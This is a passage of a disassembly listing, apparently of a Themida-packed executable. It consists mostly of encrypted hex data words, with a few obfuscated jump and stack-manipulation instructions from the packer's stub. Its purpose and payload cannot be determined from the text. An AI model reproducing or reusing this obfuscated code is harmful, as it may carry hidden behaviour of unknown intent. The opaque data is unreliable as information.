1507A73Dh, 78F1132h, 6D668832h, 9B402E95h, 87CCB1ABh dd 0AD87886Eh, 526165C0h, 17DF15D4h, 14662232h, 15DC43C3h dd 14668832h, 4F64CEF8h, 156FCB6Bh, 59921132h, 0E40C50CFh dd 47FDE4D3h, 0F7E68980h, 0A5D142D2h, 353D721Ah, 29931EE2h dd 22E22D92h, 0FC661133h, 15668839h, 61D36039h, 0D395783Eh dd 0EA8A70D5h, 943FAC06h, 156640F6h, 14E52D32h, 0EC661132h dd 27683567h, 0D8E74F9Dh, 66E15DABh, 45B3E677h, 0A352B78Ah dd 4CCB6952h, 1D6B2B5Fh, 0E26C7829h, 4EA2BDE2h, 0D0679F0Bh dd 488EAB6Ah, 14FFF8CEh, 1E8F8832h, 0B664432h, 250E54BFh dd 0FB5D9AFEh, 0DC57994Dh, 15664ADBh, 8E1EC332h, 0FD7ACA0Ch dd 0BAFC300Bh, 474CA529h, 15662388h, 4FB71032h, 16EB8752h dd 95664432h, 749A52C6h, 1566D6DBh, 15696132h, 91014432h dd 0E393C48Eh, 8B221B84h, 9069C763h, 160EB808h, 9E662232h dd 0D1E5353Eh, 1C8FE836h, 0C664432h, 0C09B41CDh, 0A87D3A3Dh dd 156F6061h, 10BA4432h, 39D7748Ah, 4CA6CE26h, 948FE96Dh dd 0FC664432h, 1566223Ah, 0FF4BB07Dh, 6CC7EBF1h, 86129D8Bh dd 9487F318h, 0A56812DBh, 94BF7F27h, 4A2CC9C3h, 6797A312h dd 47358C47h, 0A4714B88h, 10848547h, 4AA4C0B3h, 0D7E75258h dd 5FF4042Ah, 753C9533h, 0DAE7F3B8h, 4B739070h, 15546153h dd 75064432h, 1566AA3Dh, 0D7E61132h, 0A269E9B2h, 0F9E725FCh dd 15662236h, 0A8423DBBh, 15668835h, 753BADBBh, 73B69D3Dh dd 0F926DAB3h, 14E98753h, 0ED664432h, 9E9E86C1h, 0EF52D4BFh dd 48FE835h, 0D664432h, 0F26317ABh, 0FC97F344h, 0C98C5491h dd 18B62591h, 0D9F49D54h, 1AAF9453h, 1566AEB7h, 1DEB4B32h dd 75662232h, 1566913Dh, 9C078832h, 0EF528187h, 19E22D35h dd 1A661132h, 15668EBBh, 15E94B32h, 0EA662232h, 963F3506h dd 1A9E8CF6h, 156656B7h, 156BCB32h, 0B6811132h, 1783A0F0h dd 1B350027h, 4714DF9Ch, 15661088h, 9EB60132h, 0D1E56026h dd 19E32D36h, 0FC661132h, 15668835h, 426F16A4h, 0D67C2470h dd 156E943Dh, 94698832h, 15664430h, 0EA004352h, 39E77704h dd 73080216h, 7335226Ah, 7308A889h, 4E00C933h, 15669ADBh dd 0F73C3132h, 2B7C645Fh, 7BC0ADF6h, 0F24EB3Ch, 29533B80h dd 0C5E22DF1h, 1A661133h, 156682B6h, 9E692432h, 15662232h dd 4707DAB9h, 0E6EE4EBAh, 964250B9h, 459E26F6h, 0D1E66B86h dd 95B27EB4h, 0D1E66CD6h, 39D17168h, 9592D6B2h, 0C290BFD5h dd 1517ABB2h, 0F64679CEh, 7306716Ah, 0A10772B9h, 959F2542h dd 916952C9h, 15661524h, 17E28752h, 0A4664432h, 1E8F7482h dd 71661132h, 88088FFCh, 0A5B02C5Eh, 743D956Eh, 9169F80Eh dd 15668969h, 157FC33Dh, 18F2232h, 0E0661132h, 0C31B1457h dd 0BE6C9301h, 7748328h, 0A6BDE257h, 29D68E2Ah, 21E24BD9h dd 1A662233h, 15660BB2h, 1E48732h, 0FC664432h, 1566223Dh dd 1003855Ah, 6D73A665h, 10BB6ADDh, 295630ADh, 19E21EF0h dd 0ED668833h, 91698F0Eh, 15662331h, 15679B3Dh, 739A8832h dd 1A43BB0Fh, 1566D0B6h, 1572F832h, 0ECE78832h, 37DD544Bh dd 498097FCh, 9E23789Fh, 0FA1F26C0h, 750646ABh, 1A9BE4B2h dd 156611B4h, 9400E932h, 74F0D7E9h, 9169E80Eh, 1566118Dh dd 15680D3Dh, 1C8F4432h, 68662232h, 0A1EE6FFCh, 0C950BBBh dd 9169A70Eh, 15662108h, 1567963Dh, 739E8832h, 1A996A0Fh dd 156666B7h, 670EE432h, 9C668815h, 17DC6026h, 14662232h dd 4F649BC0h, 0C7D98752h, 453525CAh, 0D2EED282h, 4E9E316Ah dd 0D3EDEE52h, 29071C60h, 75E22D92h, 1A661132h, 156689BEh dd 9406BC32h, 4D7D7FFCh, 0C5ED774Dh, 2FD8DE53h, 945A9F46h dd 2B7791C4h, 1788D043h, 94636EF3h, 254D9FFCh, 2580A311h dd 473BE310h, 27449888h, 4FB0757Fh, 0FC38D2BBh, 15661139h dd 61274309h, 0EE08190Ah, 0FCD801CBh, 15661145h, 156F0B3Dh dd 1A064432h, 156622B0h, 9C07E932h, 0EF524D87h, 14EF4B35h dd 0E0662232h, 0AE5E8CBFh, 1B8F8032h, 3B664432h, 42397DE5h dd 0A0A46FFAh, 3D3BF2F0h, 0EDB5BB34h, 1562CEB3h, 9EF1132h dd 2EFA3316h, 88DE1959h, 3C3B4909h, 91694AEAh, 1566882Bh dd 156650DBh, 16E1B932h, 78760A12h, 3DC9594Eh, 0E42C399Ah dd 0AB91D1F3h, 0DAE671DCh, 0F4E7EE85h, 0D607E3AAh, 156632DBh dd 71B47432h, 4CB9CD8h, 1A3E25A9h, 0C74ECBC6h, 0F2EF469Bh dd 15624FB3h, 0FAE54432h, 315AA536h, 3162986Eh, 15668DDBh dd 0AF3B2832h, 6399D697h, 31629A22h, 15624CB3h, 96694432h dd 15662233h, 0D0E398C7h, 1A61721Fh, 156645B8h, 1E8FDB32h dd 0F3661132h, 466045ADh, 86656C42h, 11ED1046h, 0F4EF4016h dd 156249B3h, 0D4E54432h, 316AA536h, 0A833ED6Eh, 1566882Eh dd 679382B3h, 0FB67133Eh, 6793FFB3h, 0FC3BB93Eh, 15664423h dd 492F0CD1h, 55FE3A2Ch dd 0B0423320h, 6AF1790Ch, 0DEE2D72h, 0FC661132h, 15668821h dd 0BE5FC981h, 44F30491h, 923C9946h, 1B94A35Ah, 98C3D28Dh dd 0EF53038Fh, 1DE51E35h, 75668832h, 1ABFCF54h, 7507D58Dh dd 749D9A54h, 0F34B7D9Fh, 10395934h, 48FF5253h, 31425531h dd 8C16E91Fh, 1380416Fh, 78F7D2Fh, 26661132h, 68155516h dd 78947C21h, 5AF33E64h, 3FDA3931h, 15636144h, 0B9A64432h dd 0BE80C1B6h, 0FCDB9CCEh, 1A617222h, 156645B2h, 0FCCBD732h dd 1566113Eh, 0EE72B0A7h, 2B1F6B0Dh, 13EDCB9Bh, 156E9C3Dh dd 9B698832h, 15664430h, 0A8334352h, 4E9E2E4Eh, 942355C5h dd 5121DAFFh, 9483F337h, 37E9A7F7h, 488EA1E5h, 31420031h dd 0A778D637h, 9E007113h, 0EDD187F8h, 0F7EF1653h, 1562E0B3h dd 0FFE71132h, 15668836h, 494250B5h, 0FC4226BBh, 15661135h dd 107E4013h, 0BE1B06DEh, 156DA63Dh, 138F1132h, 0EE668832h dd 0A4939788h, 0DBAF03h, 0EC61EB1Ch, 48F7D9Fh, 4F664432h dd 0C6955FA1h, 0DF83712Eh, 5CBA10B5h, 0CA14EF50h, 4A07471Fh dd 3122124Dh, 4BDBDD1Ah, 0D41D1F09h, 0C89120DFh, 6A1DDCB3h dd 9423C0B8h, 597853DFh, 488E2358h, 9A69BACAh, 15668828h dd 0C5E72252h, 188E5CD1h, 22661132h, 0B20F37B5h, 51C55537h dd 0CDDB85E3h, 21ED706Ch, 0F4EFD916h, 156285B3h, 0D4E72232h dd 15661136h, 494284B5h, 156CC23Dh, 1A062232h, 156611BEh dd 749C0332h, 9C36B8F1h, 156227D2h, 114B1132h, 92668832h dd 9C3A6036h, 9A690606h, 15661136h, 74A73C52h, 0AF20D9BFh dd 92692A32h, 1566113Eh, 15600B3Dh, 97694432h, 15662232h dd 15661ADBh, 0C1AD0832h, 65DD0AA3h, 79E3292h, 9669C2CDh dd 1566883Eh, 1560C73Dh, 96692232h, 15661132h, 156680DBh dd 6D9C1232h, 0F7FB1EF8h, 0E9C9F8F4h, 0DFFCFFCDh, 6CD24ECEh dd 8AFD4AA8h, 0F251A245h, 0D1DEC0D5h, 0ED96AA44h, 8A152AA8h dd 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh, 2C5E8979h dd 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h dd 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh dd 8660D554h, 2559D7BAh, 8B422ACEh, 32DCF14Dh, 82147D83h dd 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h, 0FF4138C8h dd 7462255h, 0A90675DFh, 3C6D55Ch, 92B85E00h, 75152A54h dd 0DDAEAE30h, 968FA75Ch, 0FB59A312h, 0DDC2B0D9h, 7BAEAA44h dd 63E96FDDh, 0A851A258h, 75195FABh, 32DCAA30h, 82147D7Ch dd 7FCB2F16h, 751D2B03h, 54142B96h, 8A152ABDh, 0EDDAC345h dd 82D7E3A8h, 3044BA45h, 8D8D0000h, 8015DC0h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0FBC35040h, 0F3BF0F62h dd 0D98D89F9h, 6A07FA1Ch, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 9FF9C356h, 5EE0A6E6h dd 0E05277BEh, 4D77BA60h, 89613469h, 0FA0D4DB5h, 0AD85C707h dd 6C07FA31h, 6A00005Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 978EC353h, 0ED953196h dd 6607FA16h, 3F2AC381h, 2BD985C7h, 7FAh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 8960BBC3h, 0FA08D195h, 0E6816607h, 8961720Fh, 0FA30B5BDh dd 0DE907h, 513D0000h, 50CB1C6Ch, 94561504h, 0FFA09A9Bh dd 0FA16F1B5h, 61BD8B07h, 8B07FA08h, 0FA0CB595h, 9995FF07h dd 6A07FA17h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 78ECC355h, 0E821B27Ch, 89D9ED04h dd 1485B589h, 0BF0F07FAh, 0FF006ADFh, 0FA101995h, 0EBC08B07h dd 0DBD3400Bh, 90D17753h, 87514672h, 3BE9h, 0BD8B6000h dd 7FA1785h, 8304EF83h, 0A4F305E9h, 5203CB8Bh, 32567C59h dd 0EE730EB1h, 0C300A5F5h, 26BFC384h, 735657B1h, 7D3256B1h dd 0D23BF969h, 1AD8AD2Eh, 55E467B0h, 6C3BF84Dh, 32565A58h dd 551AB8B1h, 0E9835FD7h, 0B0A4F305h, 0F29D11F1h, 2375FD7Ah dd 0DB9917FBh, 0D525F57Bh, 0ADFDF53Fh, 9F749BADh, 0CFB73422h dd 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 0B1987C27h, 0A07DFC12h dd 8313A3FFh, 0A4F305E9h, 0BD8DDB8Bh, 801F3B8h, 7DB68D8Dh dd 44B80802h, 2B321566h, 2E9C1CFh, 0C8D00731h, 4904C783h dd 6E9F675h, 0B5000000h, 39D1DE7Fh, 66F86067h, 611116B9h dd 82BA5250h, 2971803Ch, 5A042454h, 3C820558h, 880F7180h dd 8, 2850Fh, 61600000h, 2ACDBD83h, 750007FAh, 99BD8309h dd 7FA18h, 53501974h, 11B8C08Bh, 89000004h, 0FA158185h dd 8B9D8D07h, 0FF07FCE2h, 83585BD3h, 0FA1899BDh, 17740007h dd 11B85350h, 89000004h, 0FA158185h, 2C9D8D07h, 0FF07FCDFh dd 0E9585BD3h, 14h, 9682F6B9h, 48252802h, 2E69E46Dh, 0B38893F7h dd 9E666597h, 0FE9h, 4E1C0100h, 0FF59CD98h, 0F4691AA3h dd 45390FD3h, 24048B50h, 0E904C483h, 0Ah, 8B9A8C42h, 0EE6F0FD9h dd 8DF8482Bh, 2820F8Dh, 3D9D8B08h, 8907FA0Dh, 0FA1CD98Dh dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 19A2DFE6h, 0B966608Dh, 14E8D4FDh, 52000000h dd 45D513C8h, 79FFEF2Fh, 755FCDEEh, 26FCABD4h, 60CB6678h dd 0C7615B61h, 0FA31AD85h, 5D1C07h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 9C9CCEABh dd 2952600Ah, 0FA23A58Dh, 8D8B5B07h, 7FA2545h, 34E88061h dd 2BD985C7h, 7FAh, 0D08B0000h, 2EA9B5FFh, 8B6607FAh, 9995FFF7h dd 6A07FA17h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0A8A1C356h, 78812CACh, 2840F3Bh dd 0B7000000h, 0FF006ADEh, 0FA101995h, 0EBC08B07h, 2FE6C66Eh dd 6E3FB446h, 44CF6205h, 7B9A1C4Dh, 314BDA47h, 125C9D5Eh dd 0ED373EDFh, 6C9C7E7Ah, 11D9E5B9h, 0A8323B2Fh, 91FB8687h dd 0BB62790Bh, 0EC987754h, 28E3C667h, 49DEA71Ch, 3DDC8C2Ch dd 554D1FFDh, 9E72580Eh, 0C2AECD37h, 456E7F85h, 254467CAh dd 0C63062ECh, 3A8F4756h, 63842C01h, 0FE2723B0h, 0C8762D75h dd 0B0BBB57h, 0E9496E3Bh, 0EDh, 0D88C6660h, 840F04A8h dd 0DFh, 2AA9B58Bh, 0FE8307FAh, 22850F00h, 0C6000000h dd 0FA066585h, 69684507h, 0FF8E7269h, 0FA08A5B5h, 0DD858D07h dd 0FF07FDA3h, 0BD8589D0h, 8B07FA0Eh, 0E93E80F0h, 31850Fh dd 858D0000h, 7FFB5DFh, 0BD8BD0FFh, 7FA1505h, 1184C781h dd 0B58B0000h, 7FA2AA9h, 8B9F787h, 0F3000000h, 0A9B58BA4h dd 8D07FA2Ah, 0FDD76185h, 8BD0FF07h, 0FA0649B5h, 0FE8307h dd 22850Fh, 85C60000h, 7FA0665h, 0BEF46854h, 0B5FFFF4Eh dd 7FA08A5h, 0A3DD858Dh, 0D0FF07FDh, 6498589h, 0F08B07FAh dd 0FE93E80h, 3A85h, 49B58B00h, 8D07FA06h, 0FFB5DF85h dd 8BD0FF07h, 0FA1505BDh, 84C78107h, 83000011h, 0B58B08C7h dd 7FA0649h, 8B9F787h, 0F3000000h, 49B58BA4h, 8D07FA06h dd 0FDD76185h, 61D0FF07h, 87858DC3h, 89080282h, 0FA0B1D85h dd 22E907h, 0F6810000h, 6076h, 7 dup(0) ; --------------------------------------------------------------------------- jmp loc_60BCDA ; --------------------------------------------------------------------------- push 80284CFh jmp loc_58B334 ; --------------------------------------------------------------------------- push 802852Eh jmp loc_58B334 ; --------------------------------------------------------------------------- push 8028693h jmp loc_58B334 ; --------------------------------------------------------------------------- db 71h ; --------------------------------------------------------------------------- movsd stc retn ; --------------------------------------------------------------------------- db 16h dd 0BF6CA2FCh, 65124856h, 11BEF4AAh, 34689E00h, 2579987Fh dd 0CCD242EFh, 7727E996h, 1F7F9441h, 0A6C21AE9h, 7E90643h dd 1E730B71h, 0F51EA9F5h, 6AA7984Fh, 3F7AA434h, 0E1BD57DAh dd 0C1477E67h, 9C1637Eh, 4EF45D9Dh, 0E1BD56BBh, 53BE13ABh dd 0F197C04Bh, 0D767F990h, 0E0B319BBh, 0FD3DBD07h, 0E0927EE1h dd 0DF4BA407h, 7E0927Ch, 0A0FE15AAh, 1A83EC15h, 91FC638Fh dd 850607E0h, 9E8CC4CBh, 0DC2A406Eh, 0BB000002h, 0CEBB657Bh dd 98C20292h, 1A60061Dh, 54C86EDCh, 7E0DB52h, 6D972780h dd 355C5D19h, 9EE38945h, 46A54C3Ah, 59078205h, 39B74C9h dd 0E7A9C55Dh, 7C028068h, 58BD203Ch, 8AE3FD4Ch, 0B2429BE4h dd 70EAB45Dh, 0F5041EC1h, 10A349EBh, 3ECE92F7h, 46209D22h dd 5EEE4705h, 516D0A09h, 0FA85DAEEh, 1C52BB14h, 57BEA46Fh dd 2A93BC47h, 3931A6Ch, 5DFC3763h, 311h, 0C8FEA076h, 71A7F71Bh dd 174D51C4h, 0C3F9A56Ah, 6DA3FB16h, 769B8439h, 0CF45F228h dd 24EC99CFh, 7C97447Ah, 0C51DEC22h, 0E90746A9h, 4F066C07h dd 3ACA96F3h, 0E907401Eh, 59BA0F07h, 0EB91BA45h, 64B949A2h dd 0EBBF1ADh, 0E4109B03h, 7E9067Ch, 0D3910D06h, 6E61B7ABh dd 0B2BA5994h, 0D5000002h, 7A275D41h, 23D00698h, 0C976ACF2h dd 75225846h, 98CC029Ch, 8915FCE3h, 306EA653h, 0DBC34DFAh dd 831BF8A5h, 0A267E4Dh, 7E908A7h, 0BCB067CDh, 4EF4AA67h dd 34C49CEDh, 0E9073A18h, 840F6807h, 0E905F158h, 335ABB07h dd 0A203CDC0h, 28DF68Fh, 0A12C729Dh, 842CE60Fh, 0DDE49E1Fh dd 407691A5h, 19E43h, 729EF300h, 0A7CF862Ch, 42A7326Ch dd 0E83DCDD1h, 0C2EB7628h, 0C7DDE1Ch, 0EA8C454h, 0B407E0AEh dd 0ADB51834h, 82DB07E0h, 0FB628E19h, 507E0ACh, 0D1FBCA84h dd 0DE3E09FBh, 0BC8C32C7h, 406EC984h, 4822h, 96F3B300h dd 501E3ACAh, 4E07E09Ch, 92565F5h, 7E09BA6h, 43CE73CCh dd 1A7D05Bh, 9BDB426Eh, 64E507E0h, 0A76BA3AAh, 0D409406Eh dd 0B9000000h, 93754F79h, 5F620BB8h, 0E15B90F3h, 0CD5DB607h dd 0E15B4EB1h, 751B7407h, 326CA7BEh, 0E06778A2h, 0CE777AAAh dd 0E1309528h, 46CD32BDh, 0AB68CD58h, 0C049BDF3h, 97FFE774h dd 29CED042h, 42DB8E6h, 3C62B15Eh, 51446E06h, 0FF627EA0h dd 25FFE698h, 0DAA552CCh, 97F253F9h, 911C828Dh, 536FFF68h dd 7E3B37Dh, 0A4B03FA9h, 944740F3h, 0CB469B2Bh, 21F09DD3h dd 8DA9CE41h, 7E3402Ah, 2D96FF58h, 6076056Fh, 4CEB269Eh dd 14Dh, 8CC2DC3Ah, 356B33DFh, 0DB118D88h, 87BDE12Eh, 316737DAh dd 0B25F48FDh, 0B09B6ECh, 60B05D93h, 0B85B083Eh, 89E1B0E6h dd 0E9090A6Dh, 1BD23807h, 0B80D6AA7h, 78DB4757h, 9EFFE683h dd 29920C09h, 36DD8AC0h, 0A77B3268h, 42A7326Ch, 3697CDD1h dd 287D0D53h, 29B4EAh, 0A5A6C25Ah, 0C007E0D2h, 4FF5A96Bh dd 0DD1DAD06h, 0DD7CAB3h, 31AB3557h, 342C6FFh, 4B15790h dd 0DFBF550Dh, 7EA84076h, 0B95B7043h, 0B7315AE5h, 0CD73C91Fh dd 0E0C1F259h, 4757BC07h, 0F1AD6411h, 0AFC766h, 0F3600000h dd 1E3ACA96h, 7E9073Ch, 0CF58F11Bh, 0BC8B79Bh, 38C31C65h dd 285E40D3h, 7B06987Bh, 633BD62Bh, 31FAFD8h, 7E8C2A0h dd 53C76DC6h, 705D4043h, 3418D20Bh, 0DC89BFDFh, 0BAE42B37h dd 0A297C151h, 50B3CF51h, 76605D4Bh, 0B535A31Dh, 0EB50E389h dd 0D4375324h, 2605CAEh, 9AFD19A9h, 0C8605CAEh, 167B066Fh dd 0AF149FFFh, 54AD3866h, 0E7B9611Bh, 0E03504BEh, 1AC76D31h dd 0F3AB69F9h, 0ADE44763h, 0B912605Ch, 0A66D1A50h, 0D32868F8h dd 0A8D15C42h, 5CAED93Ch, 8AE0760h, 0FD675h, 398E0000h dd 0D63BC6D8h, 0B1DA6539h, 0BBEBA248h, 2F6FA75Ch, 0CAD43FA4h dd 6836DA3Fh, 29C78DDh, 9FFF1277h, 3C62AF14h, 0DBC34CB1h dd 742AEB50h, 108E84E9h, 54565285h, 4C6815Eh, 83000000h dd 348704EEh, 89505C24h, 405E0h, 42D0000h, 87000000h, 895C2404h dd 89532434h, 4C381E3h, 83000000h, 1C8704EBh, 1C895C24h dd 1FBD6824h, 0C890000h, 794B924h, 36BE5C01h, 1AC017Ch dd 8B5459CEh, 0C481241Ch, 4, 6BBA5256h, 313CDB23h, 5A042454h dd 8108438Fh, 236B0873h, 34FF3CDBh, 0C4815B24h, 4 ; --------------------------------------------------------------------------- mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_58B334 ; --------------------------------------------------------------------------- db 0Dh db 27h, 0B8h ; --------------------------------------------------------------------------- loc_60BCDA: ; CODE XREF: Themida_:0060B7E8j mov eax, 8028805h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 78h dd 824EFB87h, 0F86D5C23h, 7455FF87h, 813F0F55h, 0F01AAF94h dd 0F86DEBECh, 72160DF1h, 7E64EE53h, 4421C331h, 424D04B7h dd 0E53B41C7h, 0D454325Ah, 0E859491Ch, 6, 5A9A55B1h, 0DA808771h dd 860F580Bh, 6, 46F0F381h, 0C0811E36h, 6C3Dh, 1CBA6660h dd 0F0815346h, 45300817h, 68615Bh, 0F000000h, 583h, 0E6805000h dd 665F5ECCh, 0FF4463BEh, 0ECBA0734h, 5961E844h, 18F0Fh dd 81F80000h, 0C057A9F1h, 0F1812Dh, 0F801CD94h, 6C55F181h dd 0BF0F4D98h, 8A5251F6h, 48F5AD3h, 0CA816638h, 8B5237F0h dd 0EF835BF3h, 0DB806002h, 0F7816646h, 4F61B1B0h, 9EC2814Fh dd 8118C468h, 0FF945CFFh, 0A8850FFFh, 81FFFFFFh, 313B62DBh dd 11E913h, 8DF00000h, 33ECh, 2 dup(0) dd 0E9000000h, 4ECh, 8CC2DC3Ah, 356B33DFh, 0DB118D88h dd 87BDE12Eh, 316737DAh, 0B25F48FDh, 0B09B6ECh, 60B05D93h dd 0B85B083Eh, 89E1B0E6h, 0E90C0A6Dh, 1BD23807h, 0A7326CA7h dd 0E0BECF42h, 7E5323E3h, 70083EA7h, 77B11430h, 0F1A6FFE7h dd 8CB334FFh, 0F36DC607h, 7BC82E85h, 7C29CFFFh, 177C0797h dd 0E4A966FCh, 6AA1C05Eh, 0CA55BE14h, 48AD38A1h, 0F049D4CAh dd 0FA19FDB7h, 4FC16EA4h, 0A46C194Fh, 0A0A6FFAh, 37770994h dd 0E5702EE2h, 0DB9516BCh, 4F8519F7h, 0EBB362B7h, 237B9845h dd 0D066C98h, 0C637FFE7h, 19CD050Ch, 586B3875h, 0FC000000h dd 0F2AC67BCh, 0EE749F4Ch, 0C3EC7727h, 3EA3CF5Ah, 6BFFE683h dd 13940FAh, 0E838748Fh, 91217D93h, 0E6771275h, 41E740FFh dd 160h, 6BA7F100h, 0CF43A833h, 30DF44CFh, 518AE36Eh, 3F5FB397h dd 0D6B75C09h, 2F80A03Dh, 0E41A8308h, 8DF00C4Ch, 0B3FFE701h dd 0A7FDB45Ah, 44A9346Ah, 0E045D0CEh, 7CE16C32h, 2B7D0896h dd 44A04802h, 9C755913h, 2BC813F1h, 22BB6E8h, 43B5EF88h dd 20F54ADAh, 24CAF37Eh, 0C4DA39E6h, 5D41D439h, 0FBA36DD2h dd 98060B70h, 0D892BB0Dh, 904ACB30h, 74B54189h, 65DF38h dd 3A8F0000h, 113AC5D9h, 6AA7B46Bh, 0D144A934h, 0B0E942CDh dd 9FFF12F6h, 4955BC69h, 0E8B659BEh, 4BA0385Dh, 2049D4CAh dd 383FF97Ah, 387488F0h, 0D5D7ADD7h, 91AB3D1Ah, 4F000C17h dd 0B55BFE07h, 45D4h, 6AA76500h, 0CC44A934h, 0C20347D2h dd 0B1ED2408h, 5FB7E121h, 9597A24Dh, 8F1C7FEBh, 0F14AFFE6h dd 0A7560D4Bh, 7CA8336Bh, 0FFE68316h, 0E16C32E0h, 7D08967Ch dd 0A048022Bh, 3037F162h, 38748EF8h, 196h, 6EA72700h, 0CA4BA030h dd 7A2049D4h, 0D9182E7h, 86B0F082h, 0E9F945B6h, 16973DDEh dd 19D785Ch, 411F6ACBh, 0EF3795B1h, 0E36307E0h, 0E0C564C7h dd 0D0399207h, 6B33E045h, 6AF0B1DBh, 0BC196833h, 0E82BD816h dd 0B1DB2BB6h, 40D0CFB8h, 305E45Eh, 0DA3FB359h, 0C107E0FCh dd 31E2C680h, 759F376Dh, 97A6CC63h, 9845EB88h, 4898237Bh dd 8289EC08h, 22B707E1h, 9E44ADF1h, 0F17C22F1h, 6EAA4D5h dd 8B5B910Dh, 406F8E53h, 145F1h, 96F38200h, 0C81E3ACAh dd 0D607E0B8h, 868DF27Dh, 0DE35E218h, 0B81A7D99h, 0EF4807E0h dd 7D96FB86h, 0D53C9121h, 6F153EC9h, 19D77DCh, 9B031176h dd 0F47F1FF6h, 45EDA7D8h, 1AFEB8E9h, 2FC994F9h, 206DCC0Ch dd 79B181B7h, 17406F73h, 4Ch, 86B87C7h, 2E07E15Bh, 0F3782FD5h dd 1A36C69Ah, 7FE68397h, 3EA1BD3Dh, 647FE682h, 0C717A20Bh dd 8DD14A9Dh, 5E048DB0h, 0E58787EAh, 79335C7Fh, 24B4ACE1h dd 18868FE4h, 4ABE648Dh, 0FFE586C7h, 0E7B758EDh, 0AB61487Eh dd 0FA000000h, 3ACA96F3h, 0E09AB41Eh, 12C83207h, 0A5FA55B9h dd 9FA80B27h, 75CE07E0h, 0BE13A30Ch, 95BE4955h, 1CF75CEFh dd 779DF282h, 304C9C27h, 7E09FCDh, 8B319AF3h, 1A73A04Dh dd 0AF61AA1Eh, 0ECAAF2D2h, 8AF84FEh, 0E30F9A03h, 7E1037Bh dd 492DE728h, 237B98CAh, 3DD52ABAh, 45AEF025h, 832975A0h dd 0BBA5E445h, 7D96EB2Bh, 0C76D9621h, 0E38B6953h, 27E87D0Fh dd 49C3EC77h, 0F32EC5EBh, 4EDE4741h, 0BAD68D24h, 0DECF3B9Eh dd 9610690Fh, 0C86EDC1Ah, 5B43D035h, 5B153ED0h, 0B55EC6C3h dd 0CC355EE9h, 5F36203Ch, 53AC17E1h, 96F3661Dh, 341E3ACAh dd 0B207E90Dh, 0AA69CE59h, 20F64F4h, 0BB8F69Ch, 0B1069608h dd 94F71364h, 0C207E90Ch, 0C75A0069h, 0D70F509Bh, 0BC5FE43h dd 7CB2EC27h, 0CA5A44CFh, 0D0B6E8Ah, 0E03933D3h, 0CD42A73Ah dd 25EC41D1h, 0AE40D379h, 2CE7CB85h, 86A2E272h, 33D30D23h dd 1452F851h, 67F2AC67h, 514DC217h, 10F79DC6h, 32h, 0EE9F73C8h dd 0DD398BF6h, 22C8316Eh, 607CBC6Bh, 0FFE682FDh, 8355B8D4h dd 227BFFE6h, 49E288E1h, 4AADC909h, 3FFFE683h, 0DDECD7A9h dd 97F031C3h, 6FA73AF1h, 0D43FA42Fh, 36DA3FCAh, 9C78DD68h dd 0FF127702h, 62AF149Fh, 0C34CB13Ch, 2AEB50DBh, 8E84E974h dd 68528510h, 1660h, 57242489h, 4BFh, 247C0100h, 89535F04h dd 4C381E3h, 83000000h, 1C8704EBh, 1C895C24h, 563D6824h dd 14890000h, 4EC8324h, 0BF243C89h, 8028993h, 815FFB89h dd 4ECh, 24248900h, 4240481h, 5A000000h, 8904EC83h, 428F241Ch dd 24148B08h, 81E28952h, 4C2h, 4C28300h, 5C241487h, 5B2434FFh dd 4C481h, 7DE90000h, 0BEFFF7F0h, 16E3349Bh, 0C4A46B13h dd 28DFEB8h, 0FFC50308h, 2806D7E0h, 0DA570961h, 0EA962225h dd 0C29BC443h, 5025207Dh, 0E4BD22Bh, 0D7E1102h, 0C71ED21Dh dd 0D117782Ah, 0D2D3725Eh, 20B1FE7Eh, 54691A44h, 0C6C18677h dd 77DBD041h, 33913832h, 8068895Ch, 785B6F67h, 415E7849h dd 0E048E97Ch, 29603400h, 883C693Ah, 4D8A5E35h, 0D956C518h dd 0DAC4AC68h, 8EA61B65h, 2BE954h, 33250000h, 75AAh, 9 dup(0) dd 5E7E900h, 4EC80000h, 0A56D1A50h, 0FF16C3F9h, 53BC699Fh dd 0A968154Bh, 0D68BBFF5h, 447A24EDh, 0EB217D97h, 96CCD23Eh dd 3E742AE9h, 98FB176Fh, 0BE07E912h, 6CA7A158h, 257A732h dd 39E68C12h, 0E136C6D8h, 8BC96F2Fh, 365835DEh, 5C317903h dd 76D9F585h, 9CFFE755h, 0FF4FDA43h, 0AC3767AAh, 0E330DD83h dd 55157894h, 0E23BFFE7h, 499EEE79h, 8330D6C8h, 2B840F8Fh dd 0BF5438F2h, 0D4254FDFh, 579B1782h, 5E0B49EFh, 3F5FB0B2h dd 9A25799Ah, 25D20871h, 49A77EBh, 5CE75079h, 0F6811DF7h dd 9D813B64h, 48F52B73h, 1C48D3CBh, 0FFE751B6h, 840F8F80h dd 20ABF31Fh, 43EBA5CEh, 0E6537D05h, 6CCE295Dh, 8712DE6h dd 2027E162h, 387571E8h, 6987ACFh, 0CBAC527Bh, 6Eh, 607CBC5Ch dd 0FFE682FDh, 7724CA23h, 4B77029Ch, 0FFE682E6h, 19E8A213h dd 0C24D51C4h, 0EB23F399h, 8938748Eh, 1, 277CBC1Ah, 0E74AB6E8h dd 0D4FFE682h, 5D764033h, 1770B118h, 504EC471h, 0B0B260C5h dd 7C973C62h, 0DE2EB922h, 88138B89h, 30CB95Fh, 7EB7109Bh dd 72A0F5C4h, 39D9862Ch, 91822F65h, 3BE7F8FCh, 55BEB66Ah dd 67BC681Fh, 4A66F6A8h, 0FFE682E7h, 610EB40Dh, 48ABC7B0h dd 6EFFE683h, 0BC21AC15h, 58BD4856h, 0F358E3BBh, 